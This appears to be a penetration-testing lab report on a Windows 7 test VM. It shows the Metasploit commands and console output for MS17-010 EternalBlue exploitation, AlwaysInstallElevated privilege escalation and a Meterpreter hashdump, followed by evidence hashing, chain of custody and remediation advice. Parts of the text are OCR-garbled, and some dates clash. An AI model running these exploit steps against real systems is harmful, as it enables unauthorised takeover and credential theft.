

# 04 Post-Exploitation & Evidence Collection

Analyst: VAPT Analyst

Target(s): Internal test network (Metasploit lab / Metasploitable/Windows VM environment)

Tools: Metasploit (msfconsole, Meterpreter), Volatility, Wireshark, sha256sum, dd (for

imaging), read-only mounts

## 1) Executive summary

A controlled penetration test exercised SMB remote code execution (MS17-010 / EternalBlue) to obtain an initial foothold, then escalated privileges locally using exploit/windows/local/always\_install\_elevated. Network traffic (PCAP), Meterpreter session logs, and volatile memory exports were collected, hashed (SHA-256), and preserved with a documented chain-of-custody for forensic review.

## 2) Objective

- Demonstrate exploitation and privilege escalation on lab hosts.
- Collect, preserve, and verify evidence (network capture, session logs, memory images).
- Maintain a tamper-evident chain-of-custody for all artifacts.

## 3) Methodology

#### A. Reconnaissance

- Scanned target hosts (Nmap) to discover SMB (TCP 445) and open services.
- Confirmed vulnerable SMB version and windows build metadata.

#### B. Exploitation — EternalBlue (remote)

• Launched Metasploit and used MS17-010 module to gain initial shell:



msfconsole
use exploit/windows/smb/ms17\_010\_eternalblue
set RHOSTS 192.168.225.138
exploit

Result: Meterpreter session established (session logged). Session start time recorded in analyst log.

#### C. Post-exploitation — local privilege escalation

- From Meterpreter shell, enumerated installers and services to identify AlwaysInstallElevated opportunity.
- Used Metasploit local exploit:

use exploit/windows/local/always\_install\_elevated set SESSION 2 exploit

Result: Elevated to SYSTEM (success). All commands, outputs and timestamps saved to session log.

#### D. Evidence collection

- Network capture: ran Wireshark/tcpdump on monitoring host during exploitation; saved traffic 2025-08-25.pcap.
- Meterpreter logs: exported session transcripts and meterpreter.
- Volatile memory: dumped memory with dd/Volatility plugin or password hashdump.

#### E. Verification & hashing

Generated SHA-256 hashes for every artifact:

 $sha256sum\ traffic\_2025-08-25.pcap > traffic\_2025-08-25.pcap.sha256$ 

• Hashes recorded in the evidence log and on physical/digital custody forms.



# 4) Evidence inventory

Item	Description	Collected	Date	Hash Value
		Ву		
Traffic log	HTTP/SMB	VAPT	14-10-	ed6b905bf5590e759e3c
	traffic PCAP	Analyst	2025	fda8a6fa3db8001c8ab
				3fe2b6b172d43abc15e9c0f1b
Meterpreter	SAM	VAPT	14-10-	500:aad3b435b51404eeaad3b435b5
Log-	database	Analyst	2025	1404ee:31d6cfe0d16ae931b73c59d7e0
Administrator				
Meterpreter	SAM	VAPT	14-10-	1000:aad3b435b51404eeaad3b4
Log-	database	Analyst	2025	35b51404ee:31d6cfe0d16ae93
username				1b73c59d7e0c089c0:::
Meterpreter	SAM	VAPT	14-10-	501:aad3b435b51404eeaad3b435b
Log-Guest	database	Analyst	2025	51404ee:31d6cfe0d16ae931b7
				3c59d7e0c089c0::

# 5) Chain-of-custody

- Evidence collection started; analyst (VAPT Analyst) initiated Wireshark capture on monitoring host (read-only log created).
- Meterpreter session established; session ID and PID logged. Exported session transcript at 09:08.
- Memory dump taken via Meterpreter memdump (read-only copy).
- All artifacts copied to secure evidence directory with read-only mounts and checksums generated.
- Each artifact entry includes: filename, SHA-256, UTC timestamp, collector name, brief description, storage location, and signature of collector (digital/analyst initials)



## 6) Preservation & integrity measures

- Artifacts stored on an evidence server with write-once permissions (or on a read-only media); original capture retained untouched.
- All hash values computed immediately after collection and stored in the evidence log.
- Timestamps synchronized to NTP prior to testing; analyst log includes time zone (IST/UTC offset) and local time.

## 7) Findings & impact

- EternalBlue (MS17-010): Successful remote exploitation allowed arbitrary code execution and Meterpreter session. Impact: remote takeover potential for unpatched SMB hosts.
- AlwaysInstallElevated: Local privilege escalation to SYSTEM achieved where policy permitted MSI installation by non-privileged accounts. Impact: complete host compromise and persistence capability.

## 8) Recommendations

- Apply Microsoft security updates for MS17-010 and later SMB patches to all vulnerable systems.
- Disable AlwaysInstallElevated by setting MSIAlwaysInstallElevated to 0 for both HKLM and HKCU where not required.
- Restrict SMB exposure block TCP/445 at perimeter and internal segmentation.
- Implement EDR/behavioral monitoring to detect suspicious SMB exploitation and anomalous MSI installs.



Maintain rigorous asset inventory and patch management.

## 9) Evidence collection summary

Captured network traffic and system artifacts following privilege escalation and SMB exploitation. Evidence includes Wireshark PCAP, Meterpreter session logs, exported volatile memory, and SHA-256 hashes. Chain-of-custody maintained using digital signatures, timestamps, and analyst logs. All items preserved read-only; integrity verified and documented for forensic review and internal reporting completed successfully.


## 10) Appendices (tools & useful commands)


#### Nmap:

```
| Mail |
```



#### **Metasploit:**








```
kali@kali: ~
  File Actions Edit View Help
   root@kali: /home/kali 🗵 kali@kali: ~ 🗵 kali@kali: ~ 🗵 kali@kali: ~ 🗵
msf auxiliary(scanner/smb/smb_msi7_010) > set RHOSTS 192.168.225.138
RHOSTS \Rightarrow 192.168.225.138
msf auxiliary(scanner/smb/smb_msi7_010) > run
[+] 192.168.225.138:445 - Host is likely VULNERABLE to MS17-010! - Windows
7 Home Basic 7601 Service Pack 1 x64 (64-bit)
// usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.21/li
b/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+'
and '?' was replaced with '*' in regular expression
[*] 192.168.225.138:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/smb/smb_msi7_010) > search eternalblue
 Matching Modules
                                                                                                         Disclosure Date Rank
      # Name
Check Description
            exploit/windows/smb/ms17_010_eternalblue 2017-03-14 av
MS17-010 Eternalblue SMB Remote Windows Kernel Pool Corruption
\_ target: Automatic Target
                  .
\_ target: Windows Embedded Standard 7
                 \_ target: Windows Server 2008 R2
                  \_ target: Windows 8
                  \_ target: Windows 8.1
                  \_ target: Windows Server 2012
                  \_ target: Windows 10 Pro
                  \_ target: Windows 10 Enterprise Evaluation .
       .
10 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal
Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote W
 indows Code Execution


11 \_ target: Automatic
File Actions Edit View Help
 root@kali: /home/kali 🔣 kali@kali: ~ 🗵 kali@kali: ~ 🗵 kali@kali: ~ 🗵
```







```
File Actions Edit View Help
 root@kali: /home/kali 🗵 kali@kali: ~ 🗵
                                       kali@kali: ~ 🗵 🛮 kali@kali: ~ 🗵
[+] 192.168.225.138:445 - ETERNALBLUE overwrite completed successfully (0×C00
0000D)!
*] 192.168.225.138:445 - Sending egg to corrupted connection.
*] 192.168.225.138:445 - Triggering free of corrupted buffer.
*] Sending stage (203846 bytes) to 192.168.225.138
[+] 192.168.225.138:445 - =-=-=-=-=-=-=-WIN-=-=-=-=-=-=-
<u>meterpreter</u> > whoami
  Unknown command: whoami. Run the help command for more details.
meterpreter > info
Usage: info <module>
Prints information about a post-exploitation module
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0
AISWARYA T S:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0
c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::
meterpreter >
```













#### Wireshark:







#### Sha256sum:



### Conclusion

In conclusion, the controlled engagement demonstrated that unpatched SMB (MS17-010/EternalBlue) and permissive MSI policies (AlwaysInstallElevated) allow full host compromise and privilege escalation—yielding persistent, high-impact access. Collected artifacts (PCAP, session logs, memory dump) were preserved with SHA-256 hashes and a documented chain-of-custody, ensuring forensic integrity. Immediate remediation—apply SMB patches, disable AlwaysInstallElevated, segment SMB exposure, and deploy EDR/logging—will close the demonstrated attack paths. Longer-term, strengthen patch management, configuration hardening, and incident detection capability to reduce likelihood and impact of similar compromises.